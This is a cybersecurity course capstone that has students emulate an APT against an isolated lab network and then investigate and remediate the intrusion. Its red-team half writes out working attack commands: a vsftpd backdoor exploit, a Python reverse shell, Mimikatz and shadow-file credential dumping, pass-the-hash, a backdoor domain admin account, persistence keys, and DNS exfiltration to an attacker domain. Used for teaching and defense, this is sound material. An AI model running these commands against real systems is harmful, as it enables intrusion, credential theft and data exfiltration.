32 KiB
CAPSTONE PROJECT: Operation Serpent's Shadow
Advanced Persistent Threat (APT) Simulation & Incident Response
Duration: 24-30 hours Points: 200 (Red Team: 100pts, Blue Team: 100pts) Prerequisites: MOD0-MOD8 completion Difficulty: Advanced
Executive Summary
Operation Serpent's Shadow is a comprehensive capstone exercise simulating a sophisticated APT campaign against the Apophis Networking infrastructure. You will first act as the Red Team executing a 7-phase attack campaign, then switch roles to become the Blue Team investigating and responding to your own intrusion.
This capstone tests your ability to:
- Execute complex multi-stage attacks using techniques from MITRE ATT&CK
- Maintain operational security while achieving attack objectives
- Detect, analyze, and respond to advanced threats
- Document findings in professional incident response reports
- Apply threat intelligence to real-world scenarios
Scenario: A nation-state APT group (codename: SERPENT SYNDICATE) has targeted Apophis Networking to steal intellectual property and maintain persistent access. You will emulate this threat actor, then hunt and remediate the intrusion.
Learning Objectives
By completing this capstone, you will demonstrate:
-
Red Team Skills:
- Multi-phase attack chain execution (reconnaissance → persistence)
- Evasion of security controls (IDS/IPS, EDR simulation)
- Credential harvesting and lateral movement
- Data exfiltration techniques
- OPSEC and TTPs documentation
-
Blue Team Skills:
- Security log analysis across multiple sources (SIEM, firewall, endpoint)
- Intrusion detection and alert triage
- Digital forensics (disk, memory, network)
- Incident response lifecycle (NIST PICERL)
- Threat intelligence correlation (MITRE ATT&CK mapping)
- Remediation and hardening recommendations
-
Professional Skills:
- Technical report writing
- Timeline reconstruction
- Executive briefing creation
- Post-incident review documentation
Lab Environment
Network Topology
VLAN 100 (Management) : 10.10.1.0/24 - Proxmox, pfSense
VLAN 200 (Red Team) : 10.10.2.0/24 - Kali Linux
VLAN 300 (Blue Team) : 10.10.3.0/24 - Security Onion
VLAN 400 (Victim Network): 10.10.4.0/24 - Target Systems
Target Systems (VLAN 400)
-
DC01 (10.10.4.10) - Windows Server 2022 Domain Controller
- Domain:
apophis.local - Services: AD, DNS, LDAP, Kerberos
- Domain:
-
WS01 (10.10.4.20) - Windows 10 Workstation (HR Department)
- Domain-joined
- User:
hruser(Domain Users group)
-
WS02 (10.10.4.21) - Windows 10 Workstation (IT Admin)
- Domain-joined
- User:
itadmin(Domain Admins group - simulated compromised admin)
-
WEB01 (10.10.4.30) - DVWA Web Server (Ubuntu + Docker)
- Services: HTTP (80), SSH (22), MySQL (3306)
-
FILE01 (10.10.4.40) - Metasploitable 2 (Legacy File Server)
- Services: FTP (21), SMB (445), SSH (22)
Attack Infrastructure (VLAN 200)
- Kali Linux (10.10.2.50)
- Tools: Nmap, Metasploit, Impacket, BloodHound, Responder, Mimikatz
Monitoring Infrastructure (VLAN 300)
- Security Onion (10.10.3.100)
- SIEM: Kibana/Elasticsearch
- IDS/IPS: Suricata
- Network Forensics: Zeek (Bro), PCAP
PHASE 1: RED TEAM OPERATION (100 Points)
Pre-Engagement Checklist
Before starting the attack campaign:
- Create Attack VM Snapshot:
Kali_PreAttack_Snapshot - Create Target VM Snapshots: Snapshot all VLAN 400 systems
- Verify Network Isolation: Confirm VLAN segmentation and firewall rules
- Start Security Onion: Ensure all sensors are running
- Create Attack Log Directory:
mkdir -p ~/capstone/red_team/{logs,screenshots,loot,exfil} script ~/capstone/red_team/logs/attack_$(date +%Y%m%d_%H%M%S).log
Attack Phase 1: External Reconnaissance (10 Points)
Objective: Map the external attack surface without triggering alerts.
TTPs: MITRE ATT&CK - TA0043 (Reconnaissance)
Tasks:
-
Passive Reconnaissance:
# Simulated OSINT gathering (document in report) echo "apophis.local" > targets.txt echo "10.10.4.0/24" >> targets.txt # DNS enumeration (if DNS is exposed) dig @10.10.4.10 apophis.local ANY dig @10.10.4.10 apophis.local AXFR -
Active Network Scanning:
# Stealthy host discovery (SYN scan, no ICMP) sudo nmap -sS -Pn -T2 --max-retries 1 -oA recon/syn_scan 10.10.4.0/24 # Service enumeration on discovered hosts sudo nmap -sV -sC -p- --open -T3 -oA recon/service_scan 10.10.4.0/24 -
SMB/NetBIOS Enumeration:
# Enumerate SMB shares and users enum4linux -a 10.10.4.10 | tee recon/enum4linux_dc01.txt smbclient -L //10.10.4.40 -N | tee recon/smbshares_file01.txt
Deliverables:
- Nmap scan results (XML + screenshot)
- Network topology diagram with discovered hosts/services
- Target prioritization list (justify choices)
Assessment Criteria (10pts):
- Comprehensive service enumeration (5pts)
- Evasion techniques documented (3pts)
- Target analysis and prioritization (2pts)
Attack Phase 2: Initial Access (15 Points)
Objective: Gain initial foothold on the victim network.
TTPs: MITRE ATT&CK - TA0001 (Initial Access) Techniques: T1190 (Exploit Public-Facing Application), T1078 (Valid Accounts)
Scenario: You discovered FILE01 (Metasploitable 2) running vulnerable vsftpd 2.3.4.
Tasks:
-
Exploit vsftpd Backdoor (from MOD3):
msfconsole -q use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 10.10.4.40 set PAYLOAD cmd/unix/interact exploit -
Establish Meterpreter Session:
# Upgrade to full Meterpreter shell # (Use MSFVenom payload + upload via FTP if needed) python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.2.50",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' -
System Enumeration:
# Gather system information uname -a id cat /etc/passwd cat /etc/shadow 2>/dev/null netstat -tulpn ls -la /home
Deliverables:
- Screenshot of successful exploit
- Output of system enumeration commands
- Screenshot showing
whoamiandifconfigfrom victim
Assessment Criteria (15pts):
- Successful initial access (10pts)
- System enumeration completeness (3pts)
- Shell stability and upgrade (2pts)
Attack Phase 3: Credential Access (15 Points)
Objective: Harvest credentials to enable lateral movement.
TTPs: MITRE ATT&CK - TA0006 (Credential Access) Techniques: T1003 (OS Credential Dumping), T1110 (Brute Force)
Tasks:
-
Linux Credential Harvesting (FILE01):
# Dump /etc/shadow (if accessible) cat /etc/shadow # Search for credentials in config files grep -ri password /var/www/html 2>/dev/null grep -ri password /home 2>/dev/null find / -name "*pass*" -type f 2>/dev/null | head -20 -
Password Cracking:
# Save hashes and crack with John unshadow /tmp/passwd /tmp/shadow > /tmp/unshadowed.txt john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/unshadowed.txt john --show /tmp/unshadowed.txt -
Web Application Credential Extraction (WEB01):
# SQL injection to dump DVWA users (MOD7 techniques) sqlmap -u "http://10.10.4.30/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="PHPSESSID=<your-session>" \ --dump -D dvwa -T users -
Network Credential Sniffing (Advanced):
# Responder for NTLM hash capture (if AD communication observed) sudo responder -I eth0 -wrf
Deliverables:
- Cracked password list (at least 3 accounts)
- Screenshot of John the Ripper output
- Captured NTLM hashes (if applicable)
- SQL injection dump results
Assessment Criteria (15pts):
- Multiple credential sources exploited (7pts)
- Successful password cracking (5pts)
- Documentation of credential storage locations (3pts)
Attack Phase 4: Lateral Movement (20 Points)
Objective: Pivot from initial foothold to domain-joined systems.
TTPs: MITRE ATT&CK - TA0008 (Lateral Movement) Techniques: T1021.002 (SMB/Windows Admin Shares), T1550.002 (Pass the Hash)
Scenario: You obtained credentials for itadmin and need to access WS02.
Tasks:
-
SMB Authentication Testing:
# Test credentials against domain systems crackmapexec smb 10.10.4.0/24 -u itadmin -p 'P@ssw0rd123' --shares crackmapexec smb 10.10.4.0/24 -u itadmin -p 'P@ssw0rd123' --local-auth -
PSExec Lateral Movement:
# Gain shell on WS02 using Impacket impacket-psexec 'apophis.local/itadmin:P@ssw0rd123@10.10.4.21' # Alternative: WMIExec impacket-wmiexec 'apophis.local/itadmin:P@ssw0rd123@10.10.4.21' -
Kerberoasting Attack (MOD5 techniques):
# Request service tickets for cracking impacket-GetUserSPNs 'apophis.local/itadmin:P@ssw0rd123' -dc-ip 10.10.4.10 -request # Crack TGS tickets hashcat -m 13100 tgs_tickets.txt /usr/share/wordlists/rockyou.txt --force -
BloodHound Enumeration (Advanced):
# Collect AD data bloodhound-python -d apophis.local -u itadmin -p 'P@ssw0rd123' \ -ns 10.10.4.10 -c all # Import into BloodHound GUI and analyze shortest path to Domain Admins
Deliverables:
- Screenshot of successful lateral movement to WS02
- CrackMapExec output showing access to multiple systems
- Kerberoast TGS tickets (if obtained)
- BloodHound attack path graph (screenshot)
Assessment Criteria (20pts):
- Successful lateral movement to domain system (10pts)
- Use of multiple techniques (5pts)
- Active Directory enumeration completeness (5pts)
Attack Phase 5: Privilege Escalation & Persistence (20 Points)
Objective: Escalate to Domain Admin and establish persistent access.
TTPs: MITRE ATT&CK - TA0004 (Privilege Escalation), TA0003 (Persistence) Techniques: T1068 (Exploitation for Privilege Escalation), T1136 (Create Account), T1547 (Boot/Logon Autostart)
Tasks:
-
Mimikatz Credential Dumping (WS02):
# On compromised WS02 system mimikatz.exe privilege::debug sekurlsa::logonpasswords lsadump::sam lsadump::secrets -
Pass-the-Hash to Domain Controller:
# Use captured NTLM hash to access DC01 impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'apophis.local/Administrator@10.10.4.10' -
Create Backdoor Domain Account:
# On DC01 net user backdoor P@ssw0rd123! /add /domain net group "Domain Admins" backdoor /add /domain net user backdoor -
Scheduled Task Persistence (WS02):
# Create scheduled task for Meterpreter callback schtasks /create /tn "Windows Update Check" /tr "C:\Windows\Temp\update.exe" \ /sc onlogon /ru SYSTEM /f -
Registry Persistence (Alternative):
# Add Run key reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \ /v SecurityUpdate /t REG_SZ /d "C:\Windows\Temp\update.exe" /f
Deliverables:
- Screenshot of Mimikatz credential dump
- Proof of Domain Admin access (screenshot of
whoami /groupson DC01) - Backdoor account creation evidence
- Persistence mechanism documentation (scheduled task/registry)
Assessment Criteria (20pts):
- Domain Admin privileges achieved (10pts)
- Credential dumping success (5pts)
- Persistence mechanisms installed (3pts)
- Stealth considerations documented (2pts)
Attack Phase 6: Data Exfiltration (10 Points)
Objective: Locate and exfiltrate sensitive data.
TTPs: MITRE ATT&CK - TA0010 (Exfiltration) Techniques: T1041 (Exfiltration Over C2 Channel), T1048 (Exfiltration Over Alternative Protocol)
Tasks:
-
Data Discovery:
# Search for sensitive files Get-ChildItem -Path C:\ -Include *.docx,*.xlsx,*.pdf -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Length -lt 10MB } | Select-Object FullName, Length # Search for "confidential" or "password" in file contents findstr /si "password" C:\Users\*.txt C:\Users\*.docx -
Exfiltration via HTTP:
# On Kali (setup listener) sudo python3 -m http.server 8080 # On victim (download via curl/wget) certutil -urlcache -f http://10.10.2.50:8080/file.zip C:\Windows\Temp\file.zip -
DNS Exfiltration (Stealth technique):
# Encode data in DNS queries (simulate) $data = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("SECRET_DATA")) nslookup "$data.attacker.com" 10.10.2.50 -
Simulate Intellectual Property Theft:
# Create fake sensitive document on DC01 echo "Apophis Networking - Proprietary Research Data" > C:\Shares\Research\IP_Data.txt # Compress and exfiltrate Compress-Archive -Path C:\Shares\Research\* -DestinationPath C:\Windows\Temp\exfil.zip # Transfer using Meterpreter 'download' command
Deliverables:
- List of discovered sensitive files (screenshot)
- Screenshot of successful exfiltration
- Network capture showing exfiltration traffic (PCAP)
- Exfiltrated file samples (in
~/capstone/red_team/exfil/)
Assessment Criteria (10pts):
- Data discovery methodology (4pts)
- Successful exfiltration (4pts)
- Stealth techniques used (2pts)
Attack Phase 7: Red Team Reporting (10 Points)
Objective: Document the attack chain for Blue Team analysis.
Tasks:
-
Create Attack Timeline:
- Document each phase with timestamps
- Include all commands executed
- Note which actions likely triggered alerts
-
MITRE ATT&CK Mapping:
- Map each technique to ATT&CK framework
- Create coverage matrix (Tactics vs Techniques)
- Export for dashboard integration
-
Indicators of Compromise (IOCs):
- File paths created:
C:\Windows\Temp\update.exe - Registry keys modified:
HKLM\...\Run\SecurityUpdate - Network connections:
10.10.2.50:4444(Meterpreter) - User accounts created:
backdoor - Scheduled tasks:
Windows Update Check
- File paths created:
-
Red Team Report Structure:
# Red Team Report: Operation Serpent's Shadow ## Executive Summary - Attack duration: X hours - Systems compromised: 5/5 (100%) - Privileges gained: Domain Admin - Data exfiltrated: XX MB ## Attack Chain [Phase 1] External Recon → [Phase 2] Initial Access (FILE01) → [Phase 3] Credential Harvesting → [Phase 4] Lateral Movement (WS02) → [Phase 5] Domain Admin (DC01) + Persistence → [Phase 6] Data Exfiltration ## Techniques Used [MITRE ATT&CK mapping table] ## Indicators of Compromise [IOC list] ## Detection Gaps Identified [Where Blue Team should have caught you]
Deliverables:
- Complete Red Team report (PDF format)
- MITRE ATT&CK Navigator JSON file
- IOC list (CSV format)
- Complete command log from
scriptsession
Assessment Criteria (10pts):
- Report completeness and professionalism (5pts)
- Accurate MITRE ATT&CK mapping (3pts)
- Comprehensive IOC documentation (2pts)
PHASE 2: BLUE TEAM OPERATION (100 Points)
Pre-Investigation Checklist
Before starting the Blue Team phase:
-
Preserve Evidence:
- Create forensic snapshots of all compromised VMs
- Copy Security Onion logs:
/nsm/sensor_data/ - Export SIEM data from Kibana (last 24 hours)
-
Establish Blue Team Workspace:
mkdir -p ~/capstone/blue_team/{forensics,pcaps,logs,reports,timeline} script ~/capstone/blue_team/logs/investigation_$(date +%Y%m%d_%H%M%S).log -
Review Red Team Report (IOCs only - not methodology yet):
- Extract IOC list to use as detection baseline
- Do NOT review attack methodology - simulate real-world blind investigation
Investigation Phase 1: Detection & Triage (15 Points)
Objective: Identify security alerts and determine scope of compromise.
Tasks:
-
SIEM Alert Review (Security Onion Kibana):
# High severity alerts in last 24 hours event.severity: high OR event.severity: critical | stats count by rule.name, source.ip, destination.ip # Suspicious network connections to VLAN 200 destination.ip: 10.10.2.* AND event.category: network # Authentication anomalies event.category: authentication AND event.outcome: failure | stats count by user.name, source.ip -
Suricata Alert Analysis:
# Review IDS alerts sudo cat /var/log/suricata/fast.log | grep -E "ET|MALWARE|EXPLOIT" # Extract unique alert signatures jq -r '.alert.signature' /var/log/suricata/eve.json | sort -u -
Zeek Log Analysis:
# Identify unusual connections zeek-cut id.orig_h id.resp_h id.resp_p proto < /nsm/zeek/logs/current/conn.log | sort | uniq -c | sort -rn | head -20 # DNS queries to suspicious domains zeek-cut query answers < /nsm/zeek/logs/current/dns.log | grep -v ".local" -
Initial Hypothesis:
- Document which systems appear compromised
- Identify likely attack entry point
- Estimate timeline of initial compromise
Deliverables:
- Top 10 critical alerts (screenshot)
- Network connection matrix (source → dest mapping)
- Initial incident triage report (1-2 pages)
Assessment Criteria (15pts):
- Alert prioritization and triage (7pts)
- Correct identification of compromised systems (5pts)
- Timeline accuracy (3pts)
Investigation Phase 2: Network Forensics (15 Points)
Objective: Analyze network traffic to reconstruct attack activities.
Tasks:
-
PCAP Analysis (Wireshark):
# Export suspicious traffic from Security Onion sudo tcpdump -r /nsm/sensor_data/securityonion-eth1/dailylogs/*.pcap \ 'host 10.10.2.50 or host 10.10.4.40' \ -w ~/capstone/blue_team/pcaps/attack_traffic.pcap -
Identify C2 Communication:
- Filter for connections to Kali (10.10.2.50)
- Look for Meterpreter beacons (TCP 4444, HTTP reverse shells)
- Identify exfiltration channels
-
Extract Artifacts from PCAP:
# Export HTTP objects (potential exfil data) tshark -r attack_traffic.pcap --export-objects http,/tmp/http_objects/ # SMB file transfers tshark -r attack_traffic.pcap -Y "smb2.cmd == 0x0009" -T fields \ -e frame.time -e ip.src -e ip.dst -e smb2.filename -
Protocol Analysis:
- Document SMB sessions (lateral movement)
- Kerberos TGT/TGS requests (Kerberoasting)
- DNS queries (potential DNS tunneling)
- HTTP POST requests (data exfiltration)
Deliverables:
- Annotated PCAP with attack traffic highlighted
- Screenshot of C2 communication in Wireshark
- Extracted artifacts (HTTP objects, SMB files)
- Network forensics report (protocol breakdown)
Assessment Criteria (15pts):
- Correct identification of attack traffic (7pts)
- C2 channel analysis (5pts)
- Artifact extraction completeness (3pts)
Investigation Phase 3: Host Forensics (20 Points)
Objective: Perform disk and memory forensics on compromised systems.
Tasks:
-
Disk Forensics with Autopsy (FILE01 - Initial Access Point):
# Create disk image sudo dd if=/dev/sda of=~/capstone/blue_team/forensics/file01.dd bs=4M status=progress # Import into Autopsy and analyze: # - Timeline of file modifications # - Deleted files recovery # - Web history / bash history # - Malware artifacts -
Memory Forensics with Volatility (WS02 - Lateral Movement Target):
# Capture memory dump (from Proxmox or use FTK Imager) # Analyze with Volatility 3 python3 vol.py -f ws02_memory.raw windows.info python3 vol.py -f ws02_memory.raw windows.pslist python3 vol.py -f ws02_memory.raw windows.netscan python3 vol.py -f ws02_memory.raw windows.malfind python3 vol.py -f ws02_memory.raw windows.dumpfiles --pid <suspicious_pid> -
Windows Event Log Analysis (DC01):
# Security event logs (authentication) Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624 or EventID=4625 or EventID=4672]]" | Where-Object { $_.TimeCreated -gt (Get-Date).AddHours(-24) } | Select-Object TimeCreated, Id, Message # Logon events (type 3 = network, type 10 = remote interactive) Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} | Where-Object { $_.Properties[8].Value -eq 3 -or $_.Properties[8].Value -eq 10 } # Account creation events Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4720} -
Registry Forensics (Persistence Mechanisms):
# Check Run keys Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" # Scheduled tasks Get-ScheduledTask | Where-Object { $_.Principal.UserId -eq "SYSTEM" } | Select-Object TaskName, TaskPath, Date # Services Get-Service | Where-Object { $_.StartType -eq "Automatic" -and $_.Status -eq "Running" }
Deliverables:
- Autopsy case report with timeline
- Volatility analysis results (processes, network connections)
- Windows Event Log summary (authentication anomalies)
- Registry forensics findings (persistence mechanisms)
Assessment Criteria (20pts):
- Disk forensics completeness (7pts)
- Memory forensics quality (7pts)
- Event log analysis (4pts)
- Persistence mechanism identification (2pts)
Investigation Phase 4: Incident Response (NIST PICERL) (20 Points)
Objective: Execute full incident response lifecycle.
NIST PICERL Framework:
- Preparation (Already completed - lab setup)
- Identification (Completed in Phase 1)
- Containment (Short-term and Long-term)
- Eradication (Remove attacker presence)
- Recovery (Restore services)
- Lessons Learned (Post-incident review)
Tasks:
-
Containment Actions:
# Short-term: Isolate compromised systems # On pfSense, block Kali IP pfctl -t blocklist -T add 10.10.2.50 # Disable backdoor account net user backdoor /active:no # Kill suspicious processes (on WS02) Get-Process | Where-Object { $_.Path -like "*\Temp\*" } | Stop-Process -Force -
Eradication:
# Remove malware artifacts Remove-Item "C:\Windows\Temp\update.exe" -Force # Remove persistence mechanisms schtasks /delete /tn "Windows Update Check" /f reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SecurityUpdate /f # Delete backdoor account net user backdoor /delete /domain # Reset compromised accounts net user itadmin NewP@ssw0rd123! /domain -
Recovery:
# Restore from clean snapshots (if available) # Rebuild compromised systems # Verify AD integrity dcdiag /v > dcdiag_output.txt repadmin /replsummary # Reset Kerberos keys ksetup /setenctypeattr apophis.local AES256-CTS-HMAC-SHA1-96 -
Hardening Recommendations:
- Enable LSASS protection:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 - Implement tiered admin model
- Deploy EDR solution (simulate with Sysmon)
- Update firewall rules (segment VLANs further)
- Enable LSASS protection:
Deliverables:
- Containment action log (timestamped)
- Eradication checklist (completed tasks)
- System recovery documentation
- Hardening recommendations report (5+ actionable items)
Assessment Criteria (20pts):
- Proper NIST PICERL execution (10pts)
- Completeness of eradication (5pts)
- Quality of hardening recommendations (5pts)
Investigation Phase 5: Threat Intelligence & Attribution (15 Points)
Objective: Map attack to MITRE ATT&CK and perform threat actor profiling.
Tasks:
-
MITRE ATT&CK Mapping:
- Create spreadsheet mapping observed TTPs to ATT&CK techniques
- Use ATT&CK Navigator to visualize coverage
- Identify gaps in detection coverage
-
Threat Actor Profiling:
# Threat Actor: SERPENT SYNDICATE (Simulated APT) **Sophistication Level**: Advanced **Observed TTPs**: - Initial Access: T1190 (Exploit Public-Facing Application) - Credential Access: T1003 (OS Credential Dumping) - Lateral Movement: T1021.002 (SMB/Windows Admin Shares) - Persistence: T1136 (Create Account), T1053 (Scheduled Task) - Exfiltration: T1041 (C2 Channel) **Tools Used**: - Metasploit Framework - Impacket suite - Mimikatz - Custom PowerShell scripts **Targeting**: Intellectual property theft, persistent access **Comparison**: Similar to APT29 (Cozy Bear) - use of living-off-the-land techniques -
IOC Generation for Threat Intelligence Platforms:
indicator,type,severity,context 10.10.2.50,ipv4,high,C2 Server update.exe,filename,critical,Persistent malware backdoor,username,critical,Rogue domain account "Windows Update Check",scheduled_task,high,Persistence mechanism C:\Windows\Temp\*,filepath,medium,Malware staging directory -
Dashboard Integration (MOD8 Link):
- Export MITRE heatmap JSON to
dashboard/src/data/live/mitre_coverage.json - Update threat feed with real IOCs
- Visualize attack timeline in Incident Tracker component
- Export MITRE heatmap JSON to
Deliverables:
- MITRE ATT&CK Navigator layer file (JSON)
- Threat actor profile report (2-3 pages)
- IOC list in STIX format (or CSV)
- Dashboard integration (screenshot of updated heatmap)
Assessment Criteria (15pts):
- Accurate MITRE ATT&CK mapping (7pts)
- Threat actor profiling quality (5pts)
- IOC quality and completeness (3pts)
Investigation Phase 6: Final IR Report (15 Points)
Objective: Create comprehensive incident response report for executive leadership.
Report Structure (Use LAB_REPORT_TEMPLATE.md as base):
# Incident Response Report: Operation Serpent's Shadow
## Security Incident #2026-001
**Classification**: CONFIDENTIAL
**Date**: [Current Date]
**Incident Handler**: [Your Name]
**Severity**: CRITICAL
---
## Executive Summary (1 page)
- **What Happened**: Brief overview of the incident
- **Impact**: Systems compromised, data exfiltrated
- **Root Cause**: Unpatched vsftpd vulnerability on legacy server
- **Remediation Status**: All threats eradicated, systems hardened
- **Recommendation**: Decommission FILE01, implement vulnerability management program
---
## Incident Timeline (2-3 pages)
| Timestamp | Event | System | Action |
|-----------|-------|--------|--------|
| 2026-02-10 14:23 | Initial scan detected | FILE01 | Suricata alert fired |
| 2026-02-10 14:45 | vsftpd exploit successful | FILE01 | Attacker gained shell |
| ... | ... | ... | ... |
---
## Technical Analysis (5-7 pages)
### Attack Chain
[Detailed walkthrough of each attack phase]
### Network Forensics
[PCAP analysis findings]
### Host Forensics
[Autopsy/Volatility findings]
### MITRE ATT&CK Mapping
[Table of techniques used]
---
## Indicators of Compromise (1 page)
[Complete IOC list]
---
## Response Actions (2-3 pages)
### Containment
[What was done to stop the attack]
### Eradication
[How threats were removed]
### Recovery
[How systems were restored]
---
## Lessons Learned (2 pages)
### What Went Well
- IDS detected initial scanning activity
- Log retention allowed full forensic analysis
### What Could Be Improved
- Delayed response to initial alerts (simulated)
- Legacy system not in patch management program
- No EDR on endpoints
### Recommendations
1. Implement 24/7 SOC monitoring
2. Deploy EDR across all endpoints
3. Decommission Metasploitable 2 (FILE01)
4. Conduct quarterly red team exercises
5. Implement tiered admin model
---
## Appendices
- Appendix A: Complete IOC List
- Appendix B: MITRE ATT&CK Navigator JSON
- Appendix C: Network Topology Diagram
- Appendix D: Forensic Evidence Inventory
Deliverables:
- Final IR report (PDF, 15-20 pages)
- Executive briefing (PowerPoint, 5-7 slides)
- Complete evidence package (ZIP archive)
- Post-incident review presentation
Assessment Criteria (15pts):
- Report professionalism and completeness (7pts)
- Technical accuracy (5pts)
- Actionable recommendations (3pts)
Final Deliverables Checklist
Red Team Package (50 Points)
- Attack command logs (
scriptoutput) - Screenshots (minimum 15)
- Red Team report (PDF)
- MITRE ATT&CK Navigator JSON
- IOC list (CSV)
- Exfiltrated data samples
Blue Team Package (50 Points)
- Investigation logs
- Forensic images (disk + memory)
- PCAP files with annotations
- Incident Response report (PDF)
- Executive briefing (PPTX)
- Remediation documentation
- Dashboard integration (screenshots)
Submission Format
Create ZIP archive: CAPSTONE_YourName_OperationSerpentsShadow.zip
CAPSTONE_YourName_OperationSerpentsShadow/
├── 01_Red_Team/
│ ├── logs/
│ ├── screenshots/
│ ├── loot/
│ ├── exfil/
│ ├── RedTeam_Report.pdf
│ └── MITRE_ATT&CK_Layer.json
├── 02_Blue_Team/
│ ├── forensics/
│ ├── pcaps/
│ ├── logs/
│ ├── IR_Report.pdf
│ ├── Executive_Briefing.pptx
│ └── Remediation_Plan.md
└── README.md (submission summary)
Assessment Rubric
Red Team Assessment (100 Points)
| Phase | Criteria | Points |
|---|---|---|
| Phase 1: Recon | Service enumeration completeness | 10 |
| Phase 2: Initial Access | Successful exploitation | 15 |
| Phase 3: Credential Access | Multiple credential sources | 15 |
| Phase 4: Lateral Movement | Domain system compromise | 20 |
| Phase 5: Privilege Escalation | Domain Admin achieved | 20 |
| Phase 6: Exfiltration | Data extraction success | 10 |
| Phase 7: Reporting | Documentation quality | 10 |
Blue Team Assessment (100 Points)
| Phase | Criteria | Points |
|---|---|---|
| Phase 1: Detection | Alert triage accuracy | 15 |
| Phase 2: Network Forensics | PCAP analysis quality | 15 |
| Phase 3: Host Forensics | Disk/memory analysis | 20 |
| Phase 4: Incident Response | NIST PICERL execution | 20 |
| Phase 5: Threat Intelligence | MITRE ATT&CK mapping | 15 |
| Phase 6: Final Report | Professional documentation | 15 |
Total: 200 Points
Grading Scale:
- 180-200: Exceptional (A)
- 160-179: Excellent (B)
- 140-159: Good (C)
- Below 140: Needs Improvement (Resubmit)
Additional Resources
Recommended Reading
- MITRE ATT&CK Framework: https://attack.mitre.org
- NIST SP 800-61r2 (Incident Response Guide)
- SANS Incident Response Poster
- Red Team Field Manual (RTFM)
- Blue Team Field Manual (BTFM)
Tools Reference
- Red Team: Metasploit, Impacket, Mimikatz, BloodHound, CrackMapExec
- Blue Team: Volatility 3, Autopsy, Wireshark, Zeek, Suricata, KQL
Dashboard Integration
- Export MITRE coverage:
dashboard/src/data/live/mitre_coverage.json - Update threat feed:
dashboard/src/data/live/threat_feed.json - Timeline visualization: Use
RechartsLineChart component
Post-Capstone Next Steps
After completing this capstone:
- Rebuild Lab Environment: Reset all VMs to clean state
- Apply Hardening: Implement your own remediation recommendations
- Re-Attack: Attempt the same attack chain - what changed?
- Advanced Scenarios: Try different attack paths (web app → AD, phishing simulation)
- Contribute to Dashboard: Add real detection logic to React components
Academic Integrity Statement
This capstone represents your own work and understanding of offensive and defensive security operations. You may use:
- Official tool documentation
- MITRE ATT&CK knowledge base
- Course module materials (MOD0-MOD8)
You may NOT:
- Copy attack scripts without understanding them
- Use automated red team frameworks (Cobalt Strike, Covenant) - manual techniques only
- Plagiarize reports from online sources
Authorized Use Only: These techniques are for educational purposes in a controlled lab environment. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
Contact & Support
For technical issues:
- Review module materials (MOD0-MOD8)
- Check
LAB_REPORT_TEMPLATE.mdfor report formatting - Consult
ASSESSMENT_RUBRICS.mdfor grading criteria
Good luck, and remember: "Order from Chaos" 🐍
END OF CAPSTONE PROJECT